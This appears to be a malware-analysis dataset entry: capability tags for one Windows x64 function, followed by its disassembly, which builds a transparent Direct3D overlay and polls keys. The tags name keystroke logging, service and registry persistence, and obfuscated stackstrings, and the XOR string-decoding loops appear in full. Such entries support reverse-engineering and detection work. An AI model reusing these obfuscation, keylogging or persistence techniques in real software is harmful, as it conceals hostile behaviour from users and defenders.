Function at 0x14003f330
Capabilities:
Access peb ldr_data
Check for time delay via gettickcount
Check os version
Contain obfuscated stackstrings
Delete file
Encode data using xor
Encrypt data using speck
Execute command
Get number of processors
Get process filename
Hash data using fnv
Log keystrokes via polling
Persist via default file association registry key
Persist via windows service
Resolve function by parsing pe exports
Schedule task via at
Set registry value
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
mov eax, 0x19d0
call fcn.14009b180
sub rsp, rax
movaps xmmword [rsp + 0x19c0], xmm6
movaps xmmword [rsp + 0x19b0], xmm7
movaps xmmword [rsp + 0x19a0], xmm8
movaps xmmword [rsp + 0x1990], xmm9
movaps xmmword [rsp + 0x1980], xmm10
movaps xmmword [rsp + 0x1970], xmm11
movaps xmmword [rsp + 0x1960], xmm12
movaps xmmword [rsp + 0x1950], xmm13
movaps xmmword [rsp + 0x1940], xmm14
movaps xmmword [rsp + 0x1930], xmm15
mov rax, qword [0x140d3f0c0]
xor rax, rsp
mov qword [rsp + 0x1920], rax
xor r13d, r13d
mov eax, r13d
mov dword [rsp + 0xf0], eax
mov dword [rsp + 0x408], eax
mov dword [rsp + 0x1600], 0x50
mov dword [rsp + 0x1604], 0x40
lea rax, [0x14004baf0]
mov qword [rsp + 0x1608], rax
mov qword [rsp + 0x1610], r13
mov qword [rsp + 0x1618], r13
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconW]
mov qword [rsp + 0x1620], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov qword [rsp + 0x1628], rax
mov qword [rsp + 0x1630], r13
mov eax, 0x87f9
mov word [rsp + 0x3f0], ax
mov eax, 0x87d7
mov word [rsp + 0x3f2], ax
mov eax, 0x87f2
mov word [rsp + 0x3f4], ax
mov eax, 0x87ce
mov word [rsp + 0x3f6], ax
mov eax, 0x87db
mov word [rsp + 0x3f8], ax
mov eax, 0x87bb
mov word [rsp + 0x3fa], ax
movzx eax, word [rsp + 0x3f0]
mov r9d, r13d
mov ebx, 0x7850
mov r11d, reloc.WS2_32.dll_ntohs
movabs r10, 0xf3d3c6bfc8e687b0
nop word [rax + rax]
movzx r8d, word [rsp + r9*2 + 0x3f0]
mov rcx, r9
and ecx, r11d
cmp rcx, r11
cmovae rcx, r11
shl cl, 2
mov rdx, r10
shr rdx, cl
and dx, r11w
movzx eax, r9w
sub ax, bx
xor dx, ax
xor dx, r8w
mov word [rsp + r9*2 + 0x3f0], dx
inc r9
cmp r9, 6
jb 0x14003f4b0
lea rax, [rsp + 0x3f0]
mov qword [rsp + 0x1638], rax
mov eax, 0x53f7
mov word [rsp + 0x3d8], ax
mov eax, 0x53ca
mov word [rsp + 0x3da], ax
mov eax, 0x53d7
mov word [rsp + 0x3dc], ax
mov eax, 0x53c3
mov word [rsp + 0x3de], ax
mov eax, 0x53a6
mov word [rsp + 0x3e0], ax
movzx eax, word [rsp + 0x3d8]
mov r10, r13
movabs rdx, 0x634bc9b9925253a0
mov ebx, 0x53a0
nop
movzx r9d, word [rsp + r10*2 + 0x3d8]
mov rcx, r10
and ecx, r11d
cmp rcx, r11
cmovae rcx, r11
shl cl, 2
mov r8, rdx
shr r8, cl
and r8w, r11w
lea eax, [rbx + r10]
xor r8w, ax
xor r8w, r9w
mov word [rsp + r10*2 + 0x3d8], r8w
inc r10
cmp r10, 5
jb 0x14003f560
lea rax, [rsp + 0x3d8]
mov qword [rsp + 0x1640], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconW]
mov qword [rsp + 0x1648], rax
lea rcx, [rsp + 0x1600]
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov r12d, 1
mov ecx, r12d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ebx, eax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r13
mov rcx, qword [rsp + 0x1618]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
mov r9d, 0x80000000
lea r8, [0x1400a82c0]
mov rdx, qword [rsp + 0x1640]
mov ecx, 0x8000028
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rsi, rax
mov qword [rsp + 0x400], rax
lea edx, [r12 - 0x15]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongW]
or eax, 0x80002
mov r8d, eax
lea edx, [r12 - 0x15]
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetWindowLongA]
lea r9d, [r12 + 1]
mov r8b, 0xff
xor edx, edx
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x1400a84c0]
movdqu xmmword [rsp + 0x1698], xmm0
lea rdx, [rsp + 0x1698]
mov rcx, rsi
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
xorps xmm0, xmm0
movups xmmword [rsp + 0x1440], xmm0
movups xmmword [0x140d44fc0], xmm0
lea rdx, [0x140d44fc0]
mov rcx, rsi
call qword [sym.imp.USER32.dll_GetWindowRect]
mov qword [rsp + 0x15c4], r13
mov qword [rsp + 0x15d8], 2
mov qword [rsp + 0x15f0], 2
mov qword [rsp + 0x15b0], r13
mov dword [rsp + 0x15c0], 0x1c
mov dword [rsp + 0x15b8], 0x90
mov dword [rsp + 0x15bc], r12d
mov dword [rsp + 0x15d4], 0x20
mov qword [rsp + 0x15e0], rsi
mov qword [rsp + 0x15cc], r12
mov qword [rsp + 0x15e8], r12
mov dword [rsp + 0x1770], 0xb000
mov dword [rsp + 0x1774], 0xa000
lea rbx, [0x140d44f28]
mov qword [rsp + 0x58], rbx
lea rax, [rsp + 0x165c]
mov qword [rsp + 0x50], rax
lea rdi, [0x140d44f20]
mov qword [rsp + 0x48], rdi
lea r14, [0x140d44f30]
mov qword [rsp + 0x40], r14
lea rax, [rsp + 0x15b0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
lea rax, [rsp + 0x1770]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, r12d
xor ecx, ecx
call sub.d3d11.dll_D3D11CreateDeviceAndSwapChain
cmp eax, 0x887a0004
jne 0x14003f80a
mov qword [rsp + 0x58], rbx
lea rax, [rsp + 0x165c]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], r14
lea rax, [rsp + 0x15b0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
lea rax, [rsp + 0x1770]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r12 + 4]
xor ecx, ecx
call sub.d3d11.dll_D3D11CreateDeviceAndSwapChain
test eax, eax
je 0x14003f82b
call fcn.14003e740
mov rdx, qword [rsp + 0x1618]
mov rcx, qword [rsp + 0x1640]
call qword [sym.imp.USER32.dll_UnregisterClassW]
jmp 0x14003f830
call fcn.14003e900
mov edx, 0xa
mov rcx, rsi
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rsi
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x28], shutdown
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov edx, 0x37b8
mov r9d, 8
mov r8d, 0x434
lea rcx, str.1.89.2
call fcn.1400088e0
xor ecx, ecx
call fcn.140008410
call fcn.14000b4a0
or dword [rax], 3
xor ecx, ecx
call fcn.140026970
mov rcx, rsi
call fcn.140030280
mov rdx, qword [0x140d44f28]
mov rcx, qword [0x140d44f20]
call fcn.14002f260
lea rcx, [rsp + 0x16e0]
call fcn.14001c750
call fcn.14000b4a0
mov qword [rax + 0x18], r13
call fcn.14000b4a0
mov rdi, rax
mov rbx, qword [rax + 0x50]
mov rcx, rbx
call fcn.1400219b0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
movss xmm6, dword [0x1400a2808]
movaps xmm3, xmm6
mov r8d, 0x13368
lea rdx, [0x14048d710]
mov rcx, rbx
call fcn.14001d7e0
mov qword [0x140d450e8], rax
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.1400219b0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
movss xmm3, dword [0x1400a28f4]
mov r8d, 0x13368
lea rdx, [0x14048d710]
mov rcx, rbx
call fcn.14001d7e0
mov qword [0x140d450f0], rax
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.1400219b0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
movaps xmm3, xmm6
mov r8d, 0x13368
lea rdx, [0x14048d710]
mov rcx, rbx
call fcn.14001d7e0
mov qword [0x140d450f8], rax
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.1400219b0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
movss xmm3, dword [0x1400a28f0]
mov r8d, 0x81e0
lea rdx, [0x140b9f160]
mov rcx, rbx
call fcn.14001d7e0
mov qword [0x140d45100], rax
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.1400219b0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
movss xmm3, dword [0x1400a842c]
mov r8d, 0x1925f8
lea rdx, [0x1400ee7a0]
mov rcx, rbx
call fcn.14001d7e0
mov qword [0x140d45108], rax
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.1400219b0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
movss xmm3, dword [0x1400a8428]
mov r8d, 0x13328
lea rdx, [0x14047a3e0]
mov rcx, rbx
call fcn.14001d7e0
mov qword [0x140d450e0], rax
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.1400219b0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
movss xmm3, dword [0x1400a2818]
mov r8d, 0x3b668
lea rdx, [0x1402f3750]
mov rcx, rbx
call fcn.14001d7e0
mov qword [0x140d45110], rax
cmp qword [0x140d45080], r13
jne 0x14003faa8
mov qword [rsp + 0x30], r13
lea rax, [0x140d45080]
mov qword [rsp + 0x28], rax
mov rax, qword [0x140d44fb0]
mov qword [rsp + 0x20], rax
lea r9, [0x140d3ef10]
mov r8d, 0xfb
lea rdx, [0x1404a0a80]
mov rcx, qword [0x140d44f20]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x140d44f60], r13
jne 0x14003faee
mov qword [rsp + 0x30], r13
lea rax, [0x140d44f60]
mov qword [rsp + 0x28], rax
mov rax, qword [0x140d44fb0]
mov qword [rsp + 0x20], rax
lea r9, [0x140d3ef10]
mov r8d, 0x1090
lea rdx, [0x140ccfe70]
mov rcx, qword [0x140d44f20]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x140d450a8], r13
jne 0x14003fb34
mov qword [rsp + 0x30], r13
lea rax, [0x140d450a8]
mov qword [rsp + 0x28], rax
mov rax, qword [0x140d44fb0]
mov qword [rsp + 0x20], rax
lea r9, [0x140d3ef10]
mov r8d, 0xa7
lea rdx, [0x1404a0b80]
mov rcx, qword [0x140d44f20]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x140d450d0], r13
jne 0x14003fb7a
mov qword [rsp + 0x30], r13
lea rax, [0x140d450d0]
mov qword [rsp + 0x28], rax
mov rax, qword [0x140d44fb0]
mov qword [rsp + 0x20], rax
lea r9, [0x140d3ef10]
mov r8d, 0x1722e
lea rdx, [0x1404a0c30]
mov rcx, qword [0x140d44f20]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x140d450d8], r13
jne 0x14003fbc0
mov qword [rsp + 0x30], r13
lea rax, [0x140d450d8]
mov qword [rsp + 0x28], rax
mov rax, qword [0x140d44fb0]
mov qword [rsp + 0x20], rax
lea r9, [0x140d3ef10]
mov r8d, 0x25752
lea rdx, [0x1400c9040]
mov rcx, qword [0x140d44f20]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x140d450b0], r13
jne 0x14003fc06
mov qword [rsp + 0x30], r13
lea rax, [0x140d450b0]
mov qword [rsp + 0x28], rax
mov rax, qword [0x140d44fb0]
mov qword [rsp + 0x20], rax
lea r9, [0x140d3ef10]
mov r8d, 0x148
lea rdx, [0x1404b7e60]
mov rcx, qword [0x140d44f20]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x140d450b8], r13
jne 0x14003fc4c
mov qword [rsp + 0x30], r13
lea rax, [0x140d450b8]
mov qword [rsp + 0x28], rax
mov rax, qword [0x140d44fb0]
mov qword [rsp + 0x20], rax
lea r9, [0x140d3ef10]
mov r8d, 0x376
lea rdx, [0x1404b7fb0]
mov rcx, qword [0x140d44f20]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x140d450c0], r13
jne 0x14003fc92
mov qword [rsp + 0x30], r13
lea rax, [0x140d450c0]
mov qword [rsp + 0x28], rax
mov rax, qword [0x140d44fb0]
mov qword [rsp + 0x20], rax
lea r9, [0x140d3ef10]
mov r8d, 0x4012
lea rdx, [0x14042bef0]
mov rcx, qword [0x140d44f20]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x140d450c8], r13
jne 0x14003fcd8
mov qword [rsp + 0x30], r13
lea rax, [0x140d450c8]
mov qword [rsp + 0x28], rax
mov rax, qword [0x140d44fb0]
mov qword [rsp + 0x20], rax
lea r9, [0x140d3ef10]
mov r8d, 0x39ee
lea rdx, [0x1404c2d60]
mov rcx, qword [0x140d44f20]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x140d45088], r13
jne 0x14003fd1e
mov qword [rsp + 0x30], r13
lea rax, [0x140d45088]
mov qword [rsp + 0x28], rax
mov rax, qword [0x140d44fb0]
mov qword [rsp + 0x20], rax
lea r9, [0x140d3ef10]
mov r8d, 0x24ae
lea rdx, [0x1404b8330]
mov rcx, qword [0x140d44f20]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x140d45090], r13
jne 0x14003fd64
mov qword [rsp + 0x30], r13
lea rax, [0x140d45090]
mov qword [rsp + 0x28], rax
mov rax, qword [0x140d44fb0]
mov qword [rsp + 0x20], rax
lea r9, [0x140d3ef10]
mov r8d, 0x4882
lea rdx, [0x14043c810]
mov rcx, qword [0x140d44f20]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x140d45098], r13
jne 0x14003fdaa
mov qword [rsp + 0x30], r13
lea rax, [0x140d45098]
mov qword [rsp + 0x28], rax
mov rax, qword [0x140d44fb0]
mov qword [rsp + 0x20], rax
lea r9, [0x140d3ef10]
mov r8d, 0xb6c0
lea rdx, [0x14042ff10]
mov rcx, qword [0x140d44f20]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x140d450a0], r13
jne 0x14003fdf0
mov qword [rsp + 0x30], r13
lea rax, [0x140d450a0]
mov qword [rsp + 0x28], rax
mov rax, qword [0x140d44fb0]
mov qword [rsp + 0x20], rax
lea r9, [0x140d3ef10]
mov r8d, 0x4c4e
lea rdx, [0x1402ea6e0]
mov rcx, qword [0x140d44f20]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x140d45070], r13
jne 0x14003fe36
mov qword [rsp + 0x30], r13
lea rax, [0x140d45070]
mov qword [rsp + 0x28], rax
mov rax, qword [0x140d44fb0]
mov qword [rsp + 0x20], rax
lea r9, [0x140d3ef10]
mov r8d, 0x17c02
lea rdx, [0x1404410a0]
mov rcx, qword [0x140d44f20]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x140d45078], r13
jne 0x14003fe7c
mov qword [rsp + 0x30], r13
lea rax, [0x140d45078]
mov qword [rsp + 0x28], rax
mov rax, qword [0x140d44fb0]
mov qword [rsp + 0x20], rax
lea r9, [0x140d3ef10]
mov r8d, 0x2172c
lea rdx, [0x140458cb0]
mov rcx, qword [0x140d44f20]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
mov rcx, rsi
call fcn.140030280
mov rdx, qword [0x140d44f28]
mov rcx, qword [0x140d44f20]
call fcn.14002f260
xorps xmm10, xmm10
xorps xmm6, xmm6
movss dword [rsp + 0x458], xmm6
mov byte [0x140d44f40], r12b
xor cl, cl
mov dword [rsp + 0x80], ecx
movss xmm14, dword [0x1400a27cc]
movss xmm11, dword [0x1400a283c]
movss xmm12, dword [0x1400a27a4]
movss xmm13, dword [0x1400a2820]
movss xmm15, dword [0x1400a2824]
movss xmm7, dword [0x1400a27e8]
nop dword [rax]
test cl, cl
jne 0x14004b9bd
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x16a8]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x14003ff79
mov ebx, dword [rsp + 0x80]
nop
lea rcx, [rsp + 0x16a8]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x16a8]
call qword [sym.imp.USER32.dll_DispatchMessageW]
movzx ebx, bl
cmp dword [rsp + 0x16b0], 0x12
cmove ebx, r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x16a8]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x14003ff20
mov dword [rsp + 0x80], ebx
test bl, bl
jne 0x14004b9bd
mov ecx, 0x23
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
movzx eax, byte [rsp + 0x80]
cmovne eax, r12d
mov dword [rsp + 0x80], eax
mov byte [rsp + 0x60], al
mov rcx, qword [0x140d44f48]
test rcx, rcx
je 0x14003ffed
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x14003ffe6
lea rdx, [rsp + 0x1658]
mov rcx, qword [0x140d44f48]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov eax, dword [0x140d44f54]
cmp dword [rsp + 0x1658], eax
jne 0x14003ffe6
mov eax, dword [0x140d44f50]
mov rcx, qword [0x140d44f48]
jmp 0x14003fffb
mov rcx, qword [0x140d44f48]
mov eax, dword [0x140d44f50]
test eax, eax
jne 0x14004b9bd
cmp byte [rsp + 0x80], 0
jne 0x14004b9bd
test rcx, rcx
je 0x14004006a
test eax, eax
je 0x14004006a
lea rdx, [rsp + 0x1680]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov ecx, dword [rsp + 0x1688]
mov r8d, dword [rsp + 0x1680]
sub ecx, r8d
sub ecx, 5
mov eax, dword [rsp + 0x168c]
mov r9d, dword [rsp + 0x1684]
sub eax, r9d
sub eax, 0x1d
mov dword [rsp + 0x30], 0x40
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], ecx
xor edx, edx
mov rcx, qword [rsp + 0x400]
call qword [sym.imp.USER32.dll_SetWindowPos]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r8d, 0x7d
lea rdx, [rsp + 0x17a0]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetClassNameA]
test eax, eax
je 0x140040154
mov r8d, 0x7d
lea rdx, [rsp + 0x1820]
mov rcx, qword [0x140d44f48]
call qword [sym.imp.USER32.dll_GetClassNameA]
test eax, eax
je 0x140040154
mov r8d, 0x7d
lea rdx, [rsp + 0x18a0]
mov rcx, qword [rsp + 0x400]
call qword [sym.imp.USER32.dll_GetClassNameA]
test eax, eax
je 0x140040154
lea rax, [rsp + 0x17a0]
lea r8, [rsp + 0x1820]
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140040103
inc rax
test ecx, ecx
jne 0x1400400f0
test edx, edx
je 0x1400401d8
lea rax, [rsp + 0x17a0]
lea r8, [rsp + 0x18a0]
sub r8, rax
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140040133
inc rax
test ecx, ecx
jne 0x140040120
test edx, edx
je 0x1400401d8
mov edx, 0xffffffec
mov r8d, 0x800a8
mov rcx, qword [rsp + 0x400]
call qword [sym.imp.USER32.dll_SetWindowLongW]
cmp dword [0x140d44f50], 0
je 0x1400401d8
mov qword [rsp + 0x1788], 0
mov dword [rsp + 0x1790], 0
movss dword [rsp + 0x1794], xmm6
mov rcx, qword [0x140d44f28]
mov rax, qword [rcx]
xor r9d, r9d
lea r8, [0x140d44f38]
mov edx, r12d
call qword [rax + pe_nt_image_headers64]
mov rcx, qword [0x140d44f28]
mov rax, qword [rcx]
lea r8, [rsp + 0x1788]
mov rdx, qword [0x140d44f38]
call qword [rax + 0x190]
mov rcx, qword [0x140d44f30]
mov rax, qword [rcx]
xor r8d, r8d
mov edx, r12d
call qword [rax + 0x40]
mov ecx, dword [rsp + 0x80]
jmp 0x14003fef0
call fcn.14002f4e0
call fcn.140030410
call fcn.140011710
mov r12, qword [0x140d44e38]
call fcn.14000b9a0
movaps xmm9, xmm10
movss dword [rsp + 0x450], xmm10
mov qword [rsp + 0x718], 0
mov dword [rsp + 0x720], 0
movaps xmm8, xmm14
movss dword [rsp + 0x3e8], xmm14
mov dword [rsp + 0x724], 0x3f800000
movups xmm0, xmmword [rsp + 0x718]
movups xmmword [rax + 0xf4], xmm0
movaps xmm1, xmmword [0x1400a2910]
movups xmmword [rsp + 0x1430], xmm1
movups xmmword [rax + 0x114], xmm1
mov dword [rax + 0x2c], 0x41400000
mov dword [rax + 0x10], 0x40c00000
mov qword [rax + 8], 0
call fcn.14000b9a0
mov dword [rax + 0x4c], 0x41700000
mov dword [rax + 0x50], 0x41700000
mov dword [rsp + 0x578], 0x44430000
mov dword [rsp + 0x57c], 0x44070000
xor edx, edx
lea rcx, [rsp + 0x578]
call fcn.140017070
mov byte [rsp + 0x88], 0xf7
mov byte [rsp + 0x89], 0xca
mov byte [rsp + 0x8a], 0xd7
mov byte [rsp + 0x8b], 0xc3
mov byte [rsp + 0x8c], 0xa6
movzx eax, byte [rsp + 0x88]
mov r9, r13
movabs r15, 0x634bc9b9925253a0
mov r10, r15
lea rax, [rsp + 0x88]
sub r10, rax
mov r11d, reloc.WS2_32.dll_ntohs
nop word [rax + rax]
lea rdx, [rsp + 0x88]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r11d
cmp rcx, r11
cmovae rcx, r11
shl cl, 2
mov rax, r15
shr rax, cl
and al, r11b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x88], al
inc r9
cmp r9, 5
jb 0x140040300
xor edx, edx
lea r8d, [rdx + 3]
lea rcx, [rsp + 0x88]
call fcn.140004200
mov byte [rsp + 0x90], 0xf7
mov byte [rsp + 0x91], 0xca
mov byte [rsp + 0x92], 0xd7
mov byte [rsp + 0x93], 0xc3
mov byte [rsp + 0x94], 0xa6
movzx eax, byte [rsp + 0x90]
mov r9, r13
mov r10, r15
lea rax, [rsp + 0x90]
sub r10, rax
mov r14d, reloc.WS2_32.dll_ntohs
nop dword [rax + rax]
lea rdx, [rsp + 0x90]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r14d
cmp rcx, r14
cmovae rcx, r14
shl cl, 2
mov rax, r15
shr rax, cl
and al, r14b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rsp + r9 + 0x90], al
inc r9
cmp r9, 5
jb 0x1400403a0
xor edx, edx
lea r8d, [rdx + 3]
lea rcx, [rsp + 0x90]
call fcn.140004200
call qword [sym.imp.KERNEL32.dll_GetTickCount]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rsp + 0x1650]
call fcn.14000bbb0
lea rcx, [rsp + 0x1690]
call fcn.14000afb0
call fcn.14000b090
mov eax, dword [0x140d4516c]
cmp dword [0x140d45160], eax
jne 0x140040433
movaps xmm6, xmm14
jmp 0x140040437
movaps xmm6, xmm11
call fcn.14000b4a0
movss xmm0, dword [rax + 0x10]
mulss xmm0, xmm7
mulss xmm0, xmm6
addss xmm0, dword [0x140d45164]
comiss xmm10, xmm0
jbe 0x14004045d
movaps xmm1, xmm10
jmp 0x140040465
movaps xmm1, xmm14
minss xmm1, xmm0
movss dword [0x140d45164], xmm1
mov eax, dword [0x140d4516c]
cmp dword [0x140d45160], eax
jne 0x140040481
movaps xmm7, xmm14
jmp 0x140040485
movaps xmm7, xmm11
movss xmm0, dword [0x1400a8450]
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
movaps xmm6, xmm0
call fcn.14000b4a0
mulss xmm6, dword [rax + 0x10]
mulss xmm6, xmm7
addss xmm6, dword [0x140d45168]
comiss xmm10, xmm6
jbe 0x1400404b7
movaps xmm0, xmm10
jmp 0x1400404bf
movaps xmm0, xmm14
minss xmm0, xmm6
movss dword [0x140d45168], xmm0
movss xmm1, dword [0x140d45164]
ucomiss xmm1, xmm10
jp 0x1400404eb
jne 0x1400404eb
ucomiss xmm0, xmm10
jp 0x1400404eb
jne 0x1400404eb
mov eax, dword [0x140d45160]
mov dword [0x140d4516c], eax
mulss xmm1, dword [r12 + 0x37e0]
xor ecx, ecx
call fcn.140013320
movss xmm0, dword [rsp + 0x1690]
subss xmm0, dword [0x1400a28f8]
movss dword [rsp + 0x580], xmm0
mov dword [rsp + 0x584], 0x41200000
lea rcx, [rsp + 0x580]
call fcn.140016d20
mov dword [rsp + 0x5a0], 0x41700000
mov dword [rsp + 0x5a4], 0x41700000
mov rdx, qword [0x140d450a8]
mov byte [rsp + 0x98], 0xf2
mov byte [rsp + 0x99], 0xc4
mov byte [rsp + 0x9a], 0xcd
mov byte [rsp + 0x9b], 0xca
mov byte [rsp + 0x9c], 0xa6
movzx eax, byte [rsp + 0x98]
mov r10, r13
mov r11, r15
lea rax, [rsp + 0x98]
sub r11, rax
mov r12, r14
nop
lea r8, [rsp + 0x98]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, r12d
cmp rcx, r12
cmovae rcx, r12
shl cl, 2
mov rax, r15
shr rax, cl
and al, r12b
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rsp + r10 + 0x98], al
inc r10
cmp r10, 5
jb 0x140040590
xor r9d, r9d
lea r8, [rsp + 0x5a0]
lea rcx, [rsp + 0x98]
call fcn.14003a7f0
movss xmm1, dword [0x1400a28ec]
movaps xmm0, xmm10
call fcn.140016390
mov dword [rsp + 0x5a8], 0x41700000
mov dword [rsp + 0x5ac], 0x41700000
mov rdx, qword [0x140d45080]
mov byte [rsp + 0xa0], 0xe5
mov byte [rsp + 0xa1], 0xd3
mov byte [rsp + 0xa2], 0xc8
mov byte [rsp + 0xa3], 0xd2
mov byte [rsp + 0xa4], 0xa6
movzx eax, byte [rsp + 0xa0]
mov r10, r13
mov r11, r15
lea rax, [rsp + 0xa0]
sub r11, rax
nop dword [rax]
lea r8, [rsp + 0xa0]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, r12d
cmp rcx, r12
cmovae rcx, r12
shl cl, 2
mov rax, r15
shr rax, cl
and al, r12b
add r8b, r11b
xor al, r8b
xor al, r9b
mov byte [rsp + r10 + 0xa0], al
inc r10
cmp r10, 5
jb 0x140040660
xor r9d, r9d
lea r8, [rsp + 0x5a8]
lea rcx, [rsp + 0xa0]
call fcn.14003a1d0
test al, al
je 0x1400406c7
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov dword [rsp + 0x480], 0xc1200000
mov dword [rsp + 0x484], 0x41200000
lea rcx, [rsp + 0x480]
call fcn.140016d20
movaps xmm0, xmmword [0x1400a0e90]
movups xmmword [rsp + 0xe28], xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0xe70], xmm1
mov dword [rsp + 0x488], 0x3f800000
mov dword [rsp + 0x48c], 0x3f800000
mov qword [rsp + 0x490], 0
mov dword [rsp + 0x498], 0x43020000
mov dword [rsp + 0x49c], 0x42b40000
lea rax, [rsp + 0xe28]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xe70]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xffffffff
lea r9, [rsp + 0x488]
lea r8, [rsp + 0x490]
lea rdx, [rsp + 0x498]
mov rcx, qword [0x140d45070]
call fcn.1400347f0
cmp dword [0x140d4516c], 0
jne 0x1400411d4
movss xmm1, dword [0x1400a27e8]
mov ecx, 8
call fcn.140013320
movaps xmm0, xmmword [0x1400a0e80]
movups xmmword [rsp + 0xe10], xmm0
lea rdx, [rsp + 0xe10]
mov ecx, 5
call fcn.140013160
mov dword [rsp + 0x5f8], 0x42d20000
mov dword [rsp + 0x5fc], 0x428c0000
lea rcx, [rsp + 0x5f8]
call fcn.140016d20
mov dword [rsp + 0x5f0], 0x44138000
mov dword [rsp + 0x5f4], 0x43be0000
mov byte [rsp + 0xc0], 0xfc
mov byte [rsp + 0xc1], 0xd5
mov byte [rsp + 0xc2], 0xd2
mov byte [rsp + 0xc3], 0xd2
mov byte [rsp + 0xc4], 0xdc
mov byte [rsp + 0xc5], 0xbb
movzx eax, byte [rsp + 0xc0]
mov r9, r13
